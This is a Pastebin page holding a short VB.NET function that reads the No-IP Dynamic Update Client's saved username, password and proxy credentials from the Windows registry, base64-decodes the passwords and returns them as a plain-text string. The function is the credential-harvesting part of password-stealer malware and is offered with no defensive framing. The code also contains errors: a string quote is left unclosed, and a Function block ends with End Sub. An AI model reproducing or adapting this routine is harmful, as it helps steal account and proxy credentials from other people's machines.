Advertisement
Guest User

Untitled

a guest
May 14th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.00 KB | None | 0 0
  1. Function NoIPRec() as string
  2. On Error GoTo X
  3. Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
  4. Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
  5. Dim ProxyUsername As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyUsername", Nothing)
  6. Dim ProxyPassword As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPassword", Nothing)
  7. Dim ProxyPort As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPort", Nothing)
  8. Dim NL As String = vbNewLine
  9. return "-No IP-" + NL + "Username: " + Username + NL + "Password: " + base64Decode(Password) + NL + "Proxy Username + ProxyUsername + NL + "Proxy Password: " + base64Decode(ProxyPassword) + NL + "Proxy Port: " + ProxyPort + NL + NL
  10. X:
  11. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement